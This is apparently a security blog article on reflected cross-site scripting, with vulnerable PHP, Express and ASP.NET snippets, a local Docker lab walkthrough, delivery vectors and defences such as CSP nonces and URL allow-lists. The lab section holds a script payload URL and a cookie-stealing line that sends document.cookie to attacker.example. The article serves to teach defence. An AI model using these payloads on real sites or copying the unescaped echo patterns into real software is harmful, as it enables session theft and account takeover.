TechEarl

Reflected XSS: How URL-Borne Payloads Land in 2026

Ishan Karunaratne⏱️ 11 min readUpdated
Share thisCopied
Reflected XSS attack via URL parameter echoed into response

Reflected XSS is the variant where the payload never sticks to the server. It arrives in a query parameter (or a form field, or a header), the application echoes it back into the response, and the browser parses it as HTML and executes whatever scripts it finds. Nothing is stored. Each victim has to click the crafted link, which is why reflected XSS is fundamentally a delivery problem dressed up as a code bug. This article sits one level below the cross-site scripting practitioner guide: the rendering shapes that produce it, the delivery vectors that make a per-click attack practical, and the defences that actually neutralise it in 2026.

TL;DR

Reflected XSS happens when the server takes user-controlled bytes from the current request and writes them into the response body without contextual escaping. A <script> tag in ?q=... becomes a real <script> tag in the HTML, and the browser runs it inside the application's origin with the victim's cookies. The payload is not persistent: the attacker has to deliver the URL and get the victim to load it, which is why phishing, malvertising, link-shorteners, and chat-app unfurlers are the dominant carriers. Framework auto-escaping (JSX, Twig, Blade, Razor) closed the easy cases, so reflected XSS now lives in custom search-result highlighting, error pages that quote a failing parameter, and any code path that reaches for dangerouslySetInnerHTML on something from a query string. The defences that move the needle: framework auto-escaping by default, a strict CSP with a nonce and no 'unsafe-inline', URL-scheme validation before href interpolation, and treating "it came from the URL, it must be safe" as a red flag in code review.

What makes XSS "reflected"?

Reflected XSS is defined by where the payload lives between attacker and victim: in the request itself, never on the server. The attacker constructs a URL whose query string or form body contains script content. The victim loads the URL. The server reads the parameter, interpolates it into the response, and the browser parses the response as HTML. Any bytes that look like HTML elements, attributes, or event handlers are parsed as such. The script runs.

Three properties follow. First, no persistence: the next visitor who loads the page without the malicious URL sees a clean page. Second, the payload only fires in the browser that sent the request, so every victim needs their own crafted link. Third, the server's logs do see the payload (it travelled in the request), unlike DOM-based XSS where the sink reads from location.hash and the fragment never reaches the server.

That last property is the practical difference from stored XSS, which writes the payload to a database and serves it back to every viewer, and from DOM-based XSS, which lives entirely client-side. All three are the same bug at the level of "untrusted input parsed as code"; reflected is the one that needs delivery to scale.

Realistic vulnerable shapes

The shapes that produce reflected XSS in production today are almost always variations on the same theme. Three short examples in three stacks.

PHP, the canonical case:

php
$q = $_GET['q'];
echo "<h2>Results for: $q</h2>";

A request for ?q=<script>alert(1)</script> produces a literal <script> tag in the response. Browsers do not care that the developer thought of q as "text"; the byte sequence is what gets parsed.

Node.js with Express and a hand-rolled template:

javascript
app.get('/search', (req, res) => {
    res.send(`<h2>Results for: ${req.query.q}</h2>`);
});

Same mistake, different language. res.send is not a templating engine; it sends bytes. Move the same code into a Pug, Nunjucks, or EJS template that auto-escapes interpolations and the bug is gone.

ASP.NET Web Forms with Response.Write:

csharp
string q = Request.QueryString["q"];
Response.Write("<h2>Results for: " + q + "</h2>");

Response.Write does not encode. The Razor @ syntax in ASP.NET Core does encode by default, but legacy Web Forms code, custom HTTP handlers, and anything that writes to the response stream directly bypass that default.

The common shape: a request value interpolated into a response body as bytes, with no encoding step between read and write. Every production reflected XSS I have seen has been a variation on that pattern.

Lab walkthrough

The companion lab for the XSS spoke (xss-basic) exposes a search.php endpoint that mirrors the PHP example above. Bring it up from the techearl-labs repo:

bash
docker compose up xss-basic

The lab listens on http://localhost:8081. First confirm the sink reflects the raw bytes instead of entity-encoding them:

bash
curl -s 'http://localhost:8081/search.php?q=<x>' | grep 'Results for'

The expected output contains Results for: <x> (a literal <x>, not &lt;x&gt;). The raw angle brackets in the response are the signal: the application has trusted the parameter as text and the renderer will treat it as HTML.

Now load the exploit URL in a browser:

code
http://localhost:8081/search.php?q=<script>alert(1)</script>

The alert fires on page load. What the browser did:

  1. The response body contains the literal bytes <h2>Results for: <script>alert(1)</script></h2>.
  2. The HTML parser walks the body, sees <script>, switches into script-data mode, and reads through to </script> as JavaScript.
  3. The script runs in the context of http://localhost:8081, inheriting that origin's cookies and full DOM access.
  4. alert(1) is the harmless proof. Swap it for new Image().src='http://attacker.example/c?'+document.cookie and the same primitive becomes the cookie-exfil chain from the parent guide.

The lab's session cookie ships without HttpOnly, so a real exploit against an admin who clicked the link would read their session_id and replay it. See the cross-site scripting guide for the full four-step session-hijack chain.

Delivery: how URLs reach victims

Reflected XSS is a delivery-bound bug. The exploit only fires when a victim loads the crafted URL, so the attacker's real work is not in the payload but in getting the link in front of the right person.

Phishing email is the dominant carrier. The link sits inside a message designed to look like the real application: a password-reset notification, a billing receipt, a shared-document invitation, an admin alert. The URL really does point to that domain (the payload lives in the query string), and the only anomaly is the messy parameter most users will not read. Spear-phishing an admin or a support engineer who can see other users' data is what actually moves money.

Malvertising is the second carrier. A booked ad slot on a major ad network can carry a click-through URL pointing at the target application with the reflected payload baked in. Anyone who clicks the ad lands on the application with the payload firing. The ad network is the delivery layer; the bug is still in the target app.

Link shorteners hide the payload. A bit.ly or t.co URL does not expose the suspicious query string until the redirect resolves, by which point the browser is already loading the target. Most shorteners do not scan for XSS payloads in the destination URL.

Auto-unfurling chat apps turn a posted link into a fetched preview. Slack, Discord, Teams, and Telegram fetch the URL server-side to render a card. For reflected XSS that targets a response rendering OpenGraph tags from the parameter, the unfurl itself can be the trigger.

Forum posts and DM links are the long tail. Anywhere the application's URL can be posted as a clickable link (Reddit, Hacker News, Discord servers, GitHub issue comments, support tickets), the link can carry a reflected XSS payload.

Across all five, the attacker chooses the audience by choosing where to drop the link. Reflected XSS is a delivery primitive; the audience is part of the payload design.

Why query-parameter encoding looks safer than it is

A frequent reflex among developers seeing reflected XSS for the first time is: "but browsers percent-encode < to %3C in URLs, so the raw character cannot reach the server". This is half-true and entirely a non-defence.

What is true: a browser asked to navigate to a URL containing a literal < will, in most cases, percent-encode it for transport. Type http://example.com/?q=<script> into the address bar and the wire request will be for ?q=%3Cscript%3E.

What is also true: percent-encoding is reversed by the server's URL parser before the parameter value reaches application code. PHP's $_GET['q'], Node's req.query.q, ASP.NET's Request.QueryString["q"] all return the decoded value. %3Cscript%3E becomes <script> again the moment the application reads it. The reflection sink writes the decoded bytes into the response. Same exploit, identical outcome.

More importantly, the attacker is not typing into an address bar. They are handing a victim a fully-formed link or constructing the request directly with curl, fetch, or a crafted HTML form. The wire encoding is a transport detail. It is not a sanitisation step.

The defence is at the rendering step. Escape on output, in the context the output lands in (HTML body, HTML attribute, JS string, URL). The wire format of the request is irrelevant.

Modern defences

Five layers move the needle. None on its own is sufficient; stacked, they reduce the attack surface to a small set of audited code paths.

Framework auto-escaping by default. React, Vue, Angular, Svelte, and every modern server template engine (Twig, Jinja, Blade, Razor, ERB with <%= %>) auto-escape interpolated values in the default rendering path:

jsx
<h2>Results for: {query}</h2>

is safe even when query is <script>alert(1)</script>, because React renders the value as text. The escape hatches (dangerouslySetInnerHTML in React, v-html in Vue, bypassSecurityTrustHtml in Angular, {@html} in Svelte, |raw in Twig, Html.Raw in Razor) are where reflected XSS still lives in modern code. Grep for them; audit each call site.

Content Security Policy with a nonce. A strict CSP refuses to execute any <script> tag that does not carry the per-response nonce, so an attacker-injected <script>alert(1)</script> does not run even if it reached the response body. Minimal viable directive:

code
Content-Security-Policy:
  default-src 'self';
  script-src 'self' 'nonce-r4nd0m' 'strict-dynamic';
  object-src 'none';
  base-uri 'none';

Two non-negotiables: no 'unsafe-inline' in script-src (it defeats the nonce), and the nonce must be a per-response random value. Pair with Content-Security-Policy-Report-Only first to surface what would break before promoting. The full MDN reference is here.

No innerHTML in JavaScript. Reflected XSS sometimes lands through a chain where the server reflects a value into a JSON response and a client-side script writes it into the DOM via innerHTML. Use textContent for text, build elements with document.createElement, and reserve innerHTML for code paths that go through a sanitiser like DOMPurify.

Validate on input, escape on output. Input validation catches malformed requests early; output escaping is the actual XSS defence. The same input rendered in three contexts (HTML body, HTML attribute, URL value) needs three different escape rules. Sanitising on input feels safer because it happens earlier; it produces silently-broken behaviour because the right escape depends on the destination, not the source.

URL-scheme validation before href interpolation. Framework auto-escaping does not catch <a href={userUrl}>: the framework cannot tell whether you meant https://... or javascript:alert(1). The fix is an explicit allow-list:

javascript
function safeHref(input) {
    try {
        const u = new URL(input, window.location.origin);
        if (u.protocol === 'http:' || u.protocol === 'https:' || u.protocol === 'mailto:') {
            return u.toString();
        }
    } catch {}
    return '#';
}

Anything that does not parse as an http, https, or mailto URL becomes #. javascript:, data:, and vbscript: URLs are refused.

Real-world incidents

Reflected XSS is well-represented in the CVE record. Two worth knowing about.

Yoast SEO for WordPress (CVE-2015-5293). A reflected XSS in the Yoast SEO admin pages: an orderby request parameter was echoed into the rendered HTML without escaping, so a logged-in admin could be sent a crafted URL whose payload fired inside wp-admin. Plugin install counts were already in the millions when the bug landed. Fix: escape on output at the rendering boundary in the affected admin templates.

A long tail of search-result and error-page reflections. Search the CVE database for "reflected XSS" against any major CMS, helpdesk, or admin console (WordPress plugins, Jenkins, Confluence, Jira, Bugzilla, phpMyAdmin) and new entries appear monthly. The shape is always the same: a parameter that "felt safe" because it was a search term or a sort key, a rendering path that interpolates it without encoding, a crafted URL that trips it. The fix is always the same: encode at the rendering boundary.

For per-CVE detail (affected versions, CVSS, patch availability), pull the entry from nvd.nist.gov at the time of writing; version-specific claims age fast.

Where to go next

The reflected variant is one of three. The parent guide covers all three together and the cookie-theft chain: cross-site scripting practitioner guide. The two sibling variants get their own deep dives at stored XSS and DOM-based XSS.

For the wider map, back up to the web application security vulnerabilities taxonomy. For the closest analogue at a different interpreter layer, SQL injection is the same parser-confusion bug aimed at the database; the defences rhyme.

Sources

Authoritative references this article was fact-checked against.

Tagsxssreflected-xssweb-security

Found this useful? Pass it on.

Copied

Ishan Karunaratne

Tech Architect · Software Engineer · AI/DevOps

Tech architect and software engineer with 20+ years building software, Linux systems, and DevOps infrastructure, and lately working AI into the stack. Currently Chief Technology Officer at a healthcare tech startup, which is where most of these field notes come from.

Keep reading

Related posts

The Best XSS Tools in 2026

The cross-site scripting tools I actually reach for in 2026: XSStrike, Dalfox, kxss/Gxss, Burp Suite with DOM Invader, BeEF, XSS Hunter, OWASP ZAP, and Caido. Strengths, weaknesses, and how I decide which to use.

The Best SSRF Tools in 2026

The SSRF tools I actually reach for in 2026: SSRFmap, Gopherus, Burp Collaborator, interactsh, ffuf, and the PayloadsAllTheThings cloud-metadata kit. Strengths, weaknesses, and how I decide which to use.